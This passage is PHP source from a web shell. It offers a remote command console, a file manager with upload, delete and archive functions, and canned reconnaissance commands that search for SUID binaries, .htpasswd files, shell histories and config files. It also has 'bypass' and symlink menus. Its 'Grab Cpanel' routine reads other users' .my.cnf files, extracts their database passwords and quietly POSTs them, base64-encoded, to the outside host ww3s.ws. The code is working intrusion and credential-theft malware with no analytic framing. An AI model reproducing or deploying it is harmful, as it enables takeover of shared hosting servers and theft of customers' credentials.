*/\r\n\t\tcase \'frame\':\r\n\t\t\t$frameSrc = substr(htmlspecialchars($GLOBALS[\'cwd\']), strlen(htmlspecialchars($_SERVER[\'DOCUMENT_ROOT\'])));\r\n\t\t\tif ($frameSrc[0] != \'/\')\r\n\t\t\t\t$frameSrc = \'/\' . $frameSrc;\r\n\t\t\tif ($frameSrc[strlen($frameSrc) - 1] != \'/\')\r\n\t\t\t\t$frameSrc = $frameSrc . \'/\';\r\n\t\t\t$frameSrc = $frameSrc . htmlspecialchars($_POST[\'p1\']);\r\n\t\t\techo \'<iframe frameBorder=0 width="100%" height="900px" scrolling="no" src=\'.$frameSrc.\' onload="onload=height=contentDocument.body.scrollHeight"></iframe>\';\r\n\t\t\tbreak;\r\n\t}\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nif($os == \'win\')\r\n\t$aliases = array(\r\n\t\t"List Directory" => "dir",\r\n    \t"Find index.php in current dir" => "dir /s /w /b index.php",\r\n    \t"Find *config*.php in current dir" => "dir /s /w /b *config*.php",\r\n    \t"Show active connections" => "netstat -an",\r\n    \t"Show running services" => "net start",\r\n    \t"User accounts" => "net user",\r\n    \t"Show computers" => "net view",\r\n\t\t"ARP Table" => "arp -a",\r\n\t\t"IP Configuration" => "ipconfig /all"\r\n\t);\r\nelse\r\n\t$aliases = array(\r\n  \t\t"List dir" => "ls -lha",\r\n\t\t"list file attributes on a Linux second extended file system" => "lsattr -va",\r\n  \t\t"show opened ports" => "netstat -an | grep -i listen",\r\n        "process status" => "ps aux",\r\n\t\t"Find" => "",\r\n  \t\t"find all suid files" => "find / -type f -perm -04000 -ls",\r\n  \t\t"find suid files in current dir" => "find . -type f -perm -04000 -ls",\r\n  \t\t"find all sgid files" => "find / -type f -perm -02000 -ls",\r\n  \t\t"find sgid files in current dir" => "find . -type f -perm -02000 -ls",\r\n  \t\t"find config.inc.php files" => "find / -type f -name config.inc.php",\r\n  \t\t"find config* files" => "find / -type f -name \\"config*\\"",\r\n  \t\t"find config* files in current dir" => "find . -type f -name \\"config*\\"",\r\n  \t\t"find all writable folders and files" => "find / -perm -2 -ls",\r\n  \t\t"find all writable folders and files in current dir" => "find . -perm -2 -ls",\r\n  \t\t"find all service.pwd files" => "find / -type f -name service.pwd",\r\n  \t\t"find service.pwd files in current dir" => "find . -type f -name service.pwd",\r\n  \t\t"find all .htpasswd files" => "find / -type f -name .htpasswd",\r\n  \t\t"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",\r\n  \t\t"find all .bash_history files" => "find / -type f -name .bash_history",\r\n  \t\t"find .bash_history files in current dir" => "find . -type f -name .bash_history",\r\n  \t\t"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",\r\n  \t\t"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",\r\n\t\t"Locate" => "",\r\n  \t\t"locate httpd.conf files" => "locate httpd.conf",\r\n\t\t"locate vhosts.conf files" => "locate vhosts.conf",\r\n\t\t"locate proftpd.conf files" => "locate proftpd.conf",\r\n\t\t"locate psybnc.conf files" => "locate psybnc.conf",\r\n\t\t"locate my.conf files" => "locate my.conf",\r\n\t\t"locate admin.php files" =>"locate admin.php",\r\n\t\t"locate cfg.php files" => "locate cfg.php",\r\n\t\t"locate conf.php files" => "locate conf.php",\r\n\t\t"locate config.dat files" => "locate config.dat",\r\n\t\t"locate config.php files" => "locate config.php",\r\n\t\t"locate config.inc files" => "locate config.inc",\r\n\t\t"locate config.inc.php" => "locate config.inc.php",\r\n\t\t"locate config.default.php files" => "locate config.default.php",\r\n\t\t"locate config* files " => "locate config",\r\n\t\t"locate .conf files"=>"locate \'.conf\'",\r\n\t\t"locate .pwd files" => "locate \'.pwd\'",\r\n\t\t"locate .sql files" => "locate \'.sql\'",\r\n\t\t"locate .htpasswd files" => "locate \'.htpasswd\'",\r\n\t\t"locate .bash_history files" => "locate \'.bash_history\'",\r\n\t\t"locate .mysql_history files" => "locate \'.mysql_history\'",\r\n\t\t"locate .fetchmailrc files" => "locate \'.fetchmailrc\'",\r\n\t\t"locate backup files" => "locate backup",\r\n\t\t"locate dump files" => "locate dump",\r\n\t\t"locate priv files" => "locate priv"\r\n\t);\r\nfunction actionConsole() {\r\n    if(!empty($_POST[\'p1\']) && !empty($_POST[\'p2\'])) {\r\n        prototype(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', true);\r\n        $_POST[\'p1\'] .= \' 2>&1\';\r\n    } elseif(!empty($_POST[\'p1\']))\r\n        prototype(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', 0);\r\n\tif(isset($_POST[\'ajax\'])) {\r\n\t\tprototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', true);\r\n\t\tob_start();\r\n\t\techo "d.cf.cmd.value=\'\';\\n";\r\n\t\t$temp = @iconv($_POST[\'charset\'], \'UTF-8\', addcslashes("\\n$ ".$_POST[\'p1\']."\\n".ex($_POST[\'p1\']),"\\n\\r\\t\\\'\\0"));\r\n\t\tif(preg_match("!.*cd\\s+([^;]+)$!",$_POST[\'p1\'],$match))\t{\r\n\t\t\tif(@chdir($match[1])) {\r\n\t\t\t\t$GLOBALS[\'cwd\'] = @getcwd();\r\n\t\t\t\techo "c_=\'".$GLOBALS[\'cwd\']."\';";\r\n\t\t\t}\r\n\t\t}\r\n\t\techo "d.cf.output.value+=\'".$temp."\';";\r\n\t\techo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";\r\n\t\t$temp = ob_get_clean();\r\n\t\techo strlen($temp), "\\n", $temp;\r\n\t\texit;\r\n\t}\r\n    if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))\r\n\t\tprototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', 0);\r\n\thardHeader();\r\n    echo "<script>\r\nif(window.Event) window.captureEvents(Event.KEYDOWN);\r\nvar cmds = new Array(\'\');\r\nvar cur = 0;\r\nfunction kp(e) {\r\n\tvar n = (window.Event) ? e.which : e.keyCode;\r\n\tif(n == 38) {\r\n\t\tcur--;\r\n\t\tif(cur>=0)\r\n\t\t\tdocument.cf.cmd.value = cmds[cur];\r\n\t\telse\r\n\t\t\tcur++;\r\n\t} else if(n == 40) {\r\n\t\tcur++;\r\n\t\tif(cur < cmds.length)\r\n\t\t\tdocument.cf.cmd.value = cmds[cur];\r\n\t\telse\r\n\t\t\tcur--;\r\n\t}\r\n}\r\nfunction add(cmd) {\r\n\tcmds.pop();\r\n\tcmds.push(cmd);\r\n\tcmds.push(\'\');\r\n\tcur = cmds.length-1;\r\n}\r\n</script>";\r\n\techo \'<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\\\'clear\\\'){d.cf.output.value=\\\'\\\';d.cf.cmd.value=\\\'\\\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\\\'\\\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\\\'\\\');} return false;"><label><select name=alias>\';\r\n\tforeach($GLOBALS[\'aliases\'] as $n => $v) {\r\n\t\tif($v == \'\') {\r\n\t\t\techo \'<optgroup label="-\'.htmlspecialchars($n).\'-"></optgroup>\';\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\techo \'<option value="\'.htmlspecialchars($v).\'">\'.$n.\'</option>\';\r\n\t}\r\n\techo \'</select></label><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\\'\\\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\\'\\\');}" value="submit"> <nobr><input type=checkbox name=ajax value=1 \'.(@$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX <input type=checkbox name=show_errors value=1 \'.(!empty($_POST[\'p2\'])||$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\']?\'checked\':\'\').\'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin-top:5px;" readonly>\';\r\n\tif(!empty($_POST[\'p1\'])) {\r\n\t\techo htmlspecialchars("$ ".$_POST[\'p1\']."\\n".ex($_POST[\'p1\']));\r\n\t}\r\n\techo \'</textarea><table style="border:1px solid #000000;background-color:#000000;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td style="padding-left:4px; width:13px;">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>\';\r\n\techo \'</form></div><script>d.cf.cmd.focus();</script>\';\r\n\thardFooter();\r\n}\r\nfunction actionbypas() {\r\n\thardHeader();\r\n\techo "<center><h1>Bypass Tools</h1><div class=content><br>";\r\n\r\n\techo"<th><a href=\'#\' onclick=\'g(\\"passw\\",null,\\"s_name_".($sort[1]?0:1)."\\")\'> [ Bypass: /etc/passwd ] </a></th><p>";\r\n\techo"<th><a href=\'#\' onclick=\'g(\\"disable\\",null,\\"s_name_".($sort[1]?0:1)."\\")\'> [ Bypass: Disbaled Functions ] </a></th>";\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nfunction actionSym() {\r\n\thardHeader();\r\n\techo "<center><h1>Symlink</h1><div class=content><br>";\r\n\r\n\techo "<br><center>  <iframe frameBorder=0 src=\'?sym\' width=\'900\' height=\'300\'></iframe></a>";\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nfunction actionpassw() {\r\n\thardHeader();\r\n\techo "<center><h1>Bypass: /etc/passwd</h1><div class=content><br>";\r\n\r\n\techo "<br><center>  <iframe frameBorder=0 src=\'?passwd\' width=\'900\' height=\'400\'></iframe></a>";\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nfunction actiondisable() {\r\n\thardHeader();\r\n\techo "<center><h1>Bypass: Disabled Functions</h1><div class=content><br>";\r\n\techo "<br><center>  <iframe frameBorder=0 src=\'?disabled\' width=\'900\' height=\'300\'></iframe></a>";\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nfunction actionPhp() {\r\n\thardHeader();\r\n\techo "<center><h1>Grab Cpanel</h1><div class=content><br>";\r\n\t @ini_set(\'display_errors\', 0);\r\nfunction entre2v2($text, $marqueurDebutLien, $marqueurFinLien, $i = 1) {\r\n    $ar0 = explode($marqueurDebutLien, $text);\r\n    $ar1 = explode($marqueurFinLien, $ar0[$i]);\r\n    return trim($ar1[0]);\r\n}\r\necho \'<br><br>\';\r\necho \'<center>\';\r\n$d0mains = @file(\'/etc/named.conf\');\r\n$domains = scandir("/var/named");\r\nif ($domains or $d0mains) {\r\n    $domains = scandir("/var/named");\r\n    if ($domains) {\r\n        echo "<table align=center><tr><th valign=top  class=style2> COUNT </th><th valign=top > DOMAIN </th><th valign=top class=style2 > USER </th><th valign=top class=style2 > Password </th><th valign=top class=style2 > .my.cnf </th></tr>";\r\n        $count = 1;\r\n        $dc = 0;\r\n        $list = scandir("/var/named");\r\n        foreach ($list as $domain) {\r\n            if (strpos($domain, ".db")) {\r\n                $domain = str_replace(\'.db\', \'\', $domain);\r\n                $owner = posix_getpwuid(fileowner("/etc/valiases/" . $domain));\r\n                $dirz = \'/home/\' . $owner[\'name\'] . \'/.my.cnf\';\r\n                $path = getcwd();\r\n                if (is_readable($dirz)) {\r\n                    copy($dirz, \'\' . $path . \'/\' . $owner[\'name\'] . \'.txt\');\r\n                    $p = file_get_contents(\'\' . $path . \'/\' . $owner[\'name\'] . \'.txt\');\r\n                    $password = entre2v2($p, \'password="\', \'"\');\r\n                    echo "<tr><td valign=top style=border :2px solid white; width: 139px class=style2>" . $count++ . "</td><td valign=top style= width: 139px; border :2px solid white  class=style2 ><a href=http://" . $domain . ":2082 target=_blank>" . $domain . "</a></td><td valign=top style= width: 139px; border: 2px solid white  class=style2 >" . $owner[\'name\'] . "</td><td valign=top style= width: 139px; border: 2px solid white  class=style2 >" . $password . "</td><td valign=top style=border :2px solid white style=width: 139px><a href=" . $owner[\'name\'] . ".txt target=_blank>Click Here</a></td></tr>";\r\n                    $dc++;\r\n                    $success3 = "http://" . $domain . "|" . $owner[\'name\'] . "|" . $password . "\r\n";\r\n                    $ch = curl_init();\r\n                    curl_setopt($ch, CURLOPT_URL, "http://ww3s.ws/ok.php");\r\n                    curl_setopt($ch, CURLOPT_USERAGENT, \'Mozilla/5.0 (Windows NT 5.1; rv:18.0) Gecko/20100101 Firefox/18.0\');\r\n                    curl_setopt($ch, CURLOPT_POST, 1);\r\n                    curl_setopt($ch, CURLOPT_POSTFIELDS, "result=" . base64_encode($success3));\r\n                    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);\r\n                    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\r\n                    curl_setopt($ch, CURLOPT_HEADER, 1);\r\n                    $buffer = curl_exec($ch);\r\n                }\r\n            }\r\n        }\r\n        echo \'</table>\';\r\n        $total = $dc;\r\n        echo \'</center>\';\r\n    } else {\r\n        $d0mains = @file(\'/etc/named.conf\');\r\n        if ($d0mains) {\r\n            echo "<table align=center><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";\r\n            $count = 1;\r\n            $dc = 0;\r\n            $mck = array();\r\n            foreach ($d0mains as $d0main) {\r\n                if (@eregi(\'zone\', $d0main)) {\r\n                    preg_match_all(\'#zone "(.*)"#\', $d0main, $domain);\r\n                    flush();\r\n                    if (strlen(trim($domain[1][0])) > 2) {\r\n                        $mck[] = $domain[1][0];\r\n                    }\r\n                }\r\n            }\r\n            $mck = array_unique($mck);\r\n            $usr = array();\r\n            $dmn = array();\r\n            foreach ($mck as $o) {\r\n                $infos = @posix_getpwuid(fileowner("/etc/valiases/" . $o));\r\n                $usr[] = $infos[\'name\'];\r\n                $dmn[] = $o;\r\n            }\r\n            array_multisort($usr, $dmn);\r\n            $dt = file(\'/etc/passwd\');\r\n            $passwd = array();\r\n            foreach ($dt as $d) {\r\n                $r = explode(\':\', $d);\r\n                if (strpos($r[5], \'home\')) {\r\n                    $passwd[$r[0]] = $r[5];\r\n                }\r\n            }\r\n            $l = 0;\r\n            $j = 1;\r\n            foreach ($usr as $r) {\r\n                $dirz = \'/home/\' . $r . \'/.my.cnf\';\r\n                $path = getcwd();\r\n                if (is_readable($dirz)) {\r\n                    copy($dirz, \'\' . $path . \'/\' . $r . \'.txt\');\r\n                    $p = file_get_contents(\'\' . $path . \'/\' . $r . \'.txt\');\r\n                    $password = entre2v2($p, \'password="\', \'"\');\r\n                    echo "<tr><td valign=top class=style2 style=width: 139px>" . $count++ . "</td><td valign=top class=style2 style=width: 139px><a target=_blank href=http://" . $dmn[$j - 1] . \'/>\' . $dmn[$j - 1] . \' </a></td><td valign=top class=style2 style=width: 139px>\' . $r . "</td><td valign=top class=style2 style=width: 139px>" . $password . "</td><td valign=top class=style2 style=width: 139px><a href=\'" . $r . ".txt\' target=\'_blank\'>Click Here</a></td></tr>";\r\n                    $dc++;\r\n                    flush();\r\n                    $l = $l ? 0 : 1;\r\n                    $j++;\r\n                }\r\n            }\r\n        }\r\n        echo \'</table>\';\r\n        $total = $dc;\r\n        echo \'<br><div class=result valign=top class=style2 style=width: 139px >Total cPanel Found = \' . $total . \'</h3><br />\';\r\n        echo \'</center>\';\r\n    }\r\n} else {\r\n    echo "<div class=result><i><font color=#ffb101>ERROR</font><br><font color=#ffb101>/var/named</font> or <font color=#ffb101>etc/named.conf</font> Not Accessible!</i></div>";\r\n}\r\n\techo" </div>";\r\n\thardFooter();\r\n}\r\nfunction actionReseller() {\r\n\thardHeader();\r\n\techo "<center><h1>WHM & Reseller Finder</h1><div class=content><br>";\r\n\techo "<br><center>  <iframe frameBorder=0 src=\'?reseller\' width=\'900\' height=\'470\'></iframe></a>";\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nfunction actionFilesMan() {\r\n    if (!empty ($_COOKIE[\'f\']))\r\n        $_COOKIE[\'f\'] = @unserialize($_COOKIE[\'f\']);\r\n\tif(!empty($_POST[\'p1\'])) {\r\n\t\tswitch($_POST[\'p1\']) {\r\n\t\t\tcase \'uploadFile\':\r\n\t\t\t\tif ( is_array($_FILES[\'f\'][\'tmp_name\']) ) {\r\n\t\t\t\t\tforeach ( $_FILES[\'f\'][\'tmp_name\'] as $i => $tmpName ) {\r\n                        if(!@move_uploaded_file($tmpName, $_FILES[\'f\'][\'name\'][$i])) {\r\n                                echo "Can\'t upload file!";\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t\tcase \'mkdir\':\r\n\t\t\t\tif(!@mkdir($_POST[\'p2\']))\r\n\t\t\t\t\techo "Can\'t create new dir";\r\n\t\t\t\tbreak;\r\n\t\t\tcase \'delete\':\r\n\t\t\t\tfunction deleteDir($path) {\r\n\t\t\t\t\t$path = (substr($path,-1)==\'/\') ? $path:$path.\'/\';\r\n\t\t\t\t\t$dh  = opendir($path);\r\n\t\t\t\t\twhile ( ($asciifnc6 = readdir($dh) ) !== false) {\r\n\t\t\t\t\t\t$asciifnc6 = $path.$asciifnc6;\r\n\t\t\t\t\t\tif ( (basename($asciifnc6) == "..") || (basename($asciifnc6) == ".") )\r\n\t\t\t\t\t\t\tcontinue;\r\n\t\t\t\t\t\t$type = filetype($asciifnc6);\r\n\t\t\t\t\t\tif ($type == "dir")\r\n\t\t\t\t\t\t\tdeleteDir($asciifnc6);\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t@unlink($asciifnc6);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tclosedir($dh);\r\n\t\t\t\t\t@rmdir($path);\r\n\t\t\t\t}\r\n\t\t\t\tif(is_array(@$_POST[\'f\']))\r\n\t\t\t\t\tforeach($_POST[\'f\'] as $f) {\r\n                        if($f == \'..\')\r\n                            continue;\r\n\t\t\t\t\t\t$f = urldecode($f);\r\n\t\t\t\t\t\tif(is_dir($f))\r\n\t\t\t\t\t\t\tdeleteDir($f);\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t@unlink($f);\r\n\t\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t\tcase \'paste\':\r\n\t\t\t\tif($_COOKIE[\'act\'] == \'copy\') {\r\n\t\t\t\t\tfunction copy_paste($c,$s,$d){\r\n\t\t\t\t\t\tif(is_dir($c.$s)){\r\n\t\t\t\t\t\t\tmkdir($d.$s);\r\n\t\t\t\t\t\t\t$h = @opendir($c.$s);\r\n\t\t\t\t\t\t\twhile (($f = @readdir($h)) !== false)\r\n\t\t\t\t\t\t\t\tif (($f != ".") and ($f != ".."))\r\n\t\t\t\t\t\t\t\t\tcopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\r\n\t\t\t\t\t\t} elseif(is_file($c.$s))\r\n\t\t\t\t\t\t\t@copy($c.$s, $d.$s);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tforeach($_COOKIE[\'f\'] as $f)\r\n\t\t\t\t\t\tcopy_paste($_COOKIE[\'c\'],$f, $GLOBALS[\'cwd\']);\r\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'move\') {\r\n\t\t\t\t\tfunction move_paste($c,$s,$d){\r\n\t\t\t\t\t\tif(is_dir($c.$s)){\r\n\t\t\t\t\t\t\tmkdir($d.$s);\r\n\t\t\t\t\t\t\t$h = @opendir($c.$s);\r\n\t\t\t\t\t\t\twhile (($f = @readdir($h)) !== false)\r\n\t\t\t\t\t\t\t\tif (($f != ".") and ($f != ".."))\r\n\t\t\t\t\t\t\t\t\tcopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\r\n\t\t\t\t\t\t} elseif(@is_file($c.$s))\r\n\t\t\t\t\t\t\t@copy($c.$s, $d.$s);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tforeach($_COOKIE[\'f\'] as $f)\r\n\t\t\t\t\t\t@rename($_COOKIE[\'c\'].$f, $GLOBALS[\'cwd\'].$f);\r\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'zip\') {\r\n\t\t\t\t\tif(class_exists(\'ZipArchive\')) {\r\n                        $zip = new ZipArchive();\r\n                        if ($zip->open($_POST[\'p2\'], 1)) {\r\n                            chdir($_COOKIE[\'c\']);\r\n                            foreach($_COOKIE[\'f\'] as $f) {\r\n                                if($f == \'..\')\r\n                                    continue;\r\n                                if(@is_file($_COOKIE[\'c\'].$f))\r\n                                    $zip->addFile($_COOKIE[\'c\'].$f, $f);\r\n                                elseif(@is_dir($_COOKIE[\'c\'].$f)) {\r\n                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.\'/\', FilesystemIterator::SKIP_DOTS));\r\n                                    foreach ($iterator as $key=>$value) {\r\n                                        $zip->addFile(realpath($key), $key);\r\n                                    }\r\n                                }\r\n                            }\r\n                            chdir($GLOBALS[\'cwd\']);\r\n                            $zip->close();\r\n                        }\r\n                    }\r\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'unzip\') {\r\n\t\t\t\t\tif(class_exists(\'ZipArchive\')) {\r\n                        $zip = new ZipArchive();\r\n                        foreach($_COOKIE[\'f\'] as $f) {\r\n                            if($zip->open($_COOKIE[\'c\'].$f)) {\r\n                                $zip->extractTo($GLOBALS[\'cwd\']);\r\n                                $zip->close();\r\n                            }\r\n                        }\r\n                    }\r\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'tar\') {\r\n                    chdir($_COOKIE[\'c\']);\r\n                    $_COOKIE[\'f\'] = array_map(\'escapeshellarg\', $_COOKIE[\'f\']);\r\n                    ex(\'tar cfzv \' . escapeshellarg($_POST[\'p2\']) . \' \' . implode(\' \', $_COOKIE[\'f\']));\r\n                    chdir($GLOBALS[\'cwd\']);\r\n\t\t\t\t}\r\n\t\t\t\tunset($_COOKIE[\'f\']);\r\n                setcookie(\'f\', \'\', time() - 3600);\r\n\t\t\t\tbreak;\r\n\t\t\tdefault:\r\n                if(!empty($_POST[\'p1\'])) {\r\n\t\t\t\t\tprototype(\'act\', $_POST[\'p1\']);\r\n\t\t\t\t\tprototype(\'f\', serialize(@$_POST[\'f\']));\r\n\t\t\t\t\tprototype(\'c\', @$_POST[\'c\']);\r\n\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n    hardHeader();\r\n\techo \'<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>\';\r\n\t$dirContent = hardScandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']);\r\n\tif($dirContent === false) {\techo \'Can\\\'t open this folder!\';hardFooter(); return; }\r\n\tglobal $sort;\r\n\t$sort = array(\'name\', 1);\r\n\tif(!empty($_POST[\'p1\'])) {\r\n\t\tif(preg_match(\'!s_([A-z]+)_(\\d{1})!\', $_POST[\'p1\'], $match))\r\n\t\t\t$sort = array($match[1], (int)$match[2]);\r\n\t}\r\necho "<script>\r\n\tfunction sa() {\r\n\t\tfor(i=0;i<d.files.elements.length;i++)\r\n\t\t\tif(d.files.elements[i].type == \'checkbox\')\r\n\t\t\t\td.files.elements[i].checked = d.files.elements[0].checked;\r\n\t}\r\n</script>\r\n<table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>\r\n<form name=files method=post><tr><th width=\'13px\'><input type=checkbox onclick=\'sa()\' class=chkbx></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_name_".($sort[1]?0:1)."\\")\'>Name</a></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_size_".($sort[1]?0:1)."\\")\'>Size</a></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_modify_".($sort[1]?0:1)."\\")\'>Modify</a></th><th>Owner/Group</th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_perms_".($sort[1]?0:1)."\\")\'>Permissions</a></th><th>Actions</th></tr>";\r\n\t$dirs = $files = array();\r\n\t$n = count($dirContent);\r\n\tfor($i=0;$i<$n;$i++) {\r\n\t\t$ow = @posix_getpwuid(@fileowner($dirContent[$i]));\r\n\t\t$gr = @posix_getgrgid(@filegroup($dirContent[$i]));\r\n\t\t$tmp = array(\'name\' => $dirContent[$i],\r\n\t\t\t\t\t \'path\' => $GLOBALS[\'cwd\'].$dirContent[$i],\r\n\t\t\t\t\t \'modify\' => date(\'Y-m-d H:i:s\', @filemtime($GLOBALS[\'cwd\'] . $dirContent[$i])),\r\n\t\t\t\t\t \'perms\' => viewPermsColor($GLOBALS[\'cwd\'] . $dirContent[$i]),\r\n\t\t\t\t\t \'size\' => @filesize($GLOBALS[\'cwd\'].$dirContent[$i]),\r\n\t\t\t\t\t \'owner\' => $ow[\'name\']?$ow[\'name\']:@fileowner($dirContent[$i]),\r\n\t\t\t\t\t \'group\' => $gr[\'name\']?$gr[\'name\']:@filegroup($dirContent[$i])\r\n\t\t\t\t\t);\r\n\t\tif(@is_file($GLOBALS[\'cwd\'] . $dirContent[$i]))\r\n\t\t\t$files[] = array_merge($tmp, array(\'type\' => \'file\'));\r\n\t\telseif(@is_link($GLOBALS[\'cwd\'] . $dirContent[$i]))\r\n\t\t\t$dirs[] = array_merge($tmp, array(\'type\' => \'link\', \'link\' => readlink($tmp[\'path\'])));\r\n\t\telseif(@is_dir($GLOBALS[\'cwd\'] . $dirContent[$i])&&($dirContent[$i] != "."))\r\n\t\t\t$dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));\r\n\t}\r\n\t$GLOBALS[\'sort\'] = $sort;\r\n\tfunction cmp($a, $b) {\r\n\t\tif($GLOBALS[\'sort\'][0] != \'size\')\r\n\t\t\treturn strcmp(strtolower($a[$GLOBALS[\'sort\'][0]]), strtolower($b[$GLOBALS[\'sort\'][0]]))*($GLOBALS[\'sort\'][1]?1:-1);\r\n\t\telse\r\n\t\t\treturn (($a[\'size\'] < $b[\'size\']) ? -1 : 1)*($GLOBALS[\'sort\'][1]?1:-1);\r\n\t}\r\n\tusort($files, "cmp");\r\n\tusort($dirs, "cmp");\r\n\t$files = array_merge($dirs, $files);\r\n\t$l = 0;\r\n\tforeach($files as $f) {\r\n\t\techo \'<tr\'.($l?\' class=l1\':\'\').\'><td><input type=checkbox name="f[]" value="\'.urlencode($f[\'name\']).\'" class=chkbx></td><td><a href=# onclick="\'.(($f[\'type\']==\'file\')?\'g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'view\\\')">\'.htmlspecialchars($f[\'name\']):\'g(\\\'FilesMan\\\',\\\'\'.$f[\'path\'].\'\\\');" \' . (empty ($f[\'link\']) ? \'\' : "title=\'{$f[\'link\']}\'") . \'><b>[ \' . htmlspecialchars($f[\'name\']) . \' ]</b>\').\'</a></td><td>\'.(($f[\'type\']==\'file\')?viewSize($f[\'size\']):$f[\'type\']).\'</td><td>\'.$f[\'modify\'].\'</td><td>\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'</td><td><a href=# onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\',\\\'chmod\\\')">\'.$f[\'perms\']\r\n\t\t\t.\'</td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'rename\\\')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'touch\\\')">T</a>\'.(($f[\'type\']==\'file\')?\' <a class="tooltip" data-tooltip="Frame" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'frame\\\')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'edit\\\')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'download\\\')">D</a>\':\'\').\'</td></tr>\';\r\n\t\t$l = $l?0:1;\r\n\t}\r\n\techo "<tr id=fak><td colspan=7>\r\n\t<input type=hidden name=ne value=\'\'>\r\n\t<input type=hidden name=a value=\'FilesMan\'>\r\n\t<input type=hidden name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'>\r\n\t<input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\')."\'>\r\n\t<label><select name=\'p1\'>";\r\n\tif(!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']))\r\n        echo "<option value=\'paste\'>↳ Paste</option>";\r\n\techo "<option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>";\r\n    if(class_exists(\'ZipArchive\'))\r\n        echo "<option value=\'zip\'>+ zip</option><option value=\'unzip\'>- zip</option>";\r\n    echo "<option value=\'tar\'>+ tar.gz</option>";\r\n    echo "</select></label>";\r\n    if(!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']) && (($_COOKIE[\'act\'] == \'zip\') || ($_COOKIE[\'act\'] == \'tar\')))\r\n        echo "&nbsp;file name: <input type=text name=p2 value=\'hard_" . date("Ymd_His") . "." . ($_COOKIE[\'act\'] == \'zip\'?\'zip\':\'tar.gz\') . "\'>&nbsp;";\r\n    echo "<input type=\'submit\' value=\'submit\'></td></tr></form></table></div>";\r\n\thardFooter();\r\n}\r\nfunction actionStringTools() {\r\n\thardHeader();\r\n\techo "<center><h1>Jumping :D</h1><div class=content><br>";\r\n\t$i = 0;\r\n@ini_set(\'display_errors\', 0);\r\necho "<pre><div class=\'margin: 5px 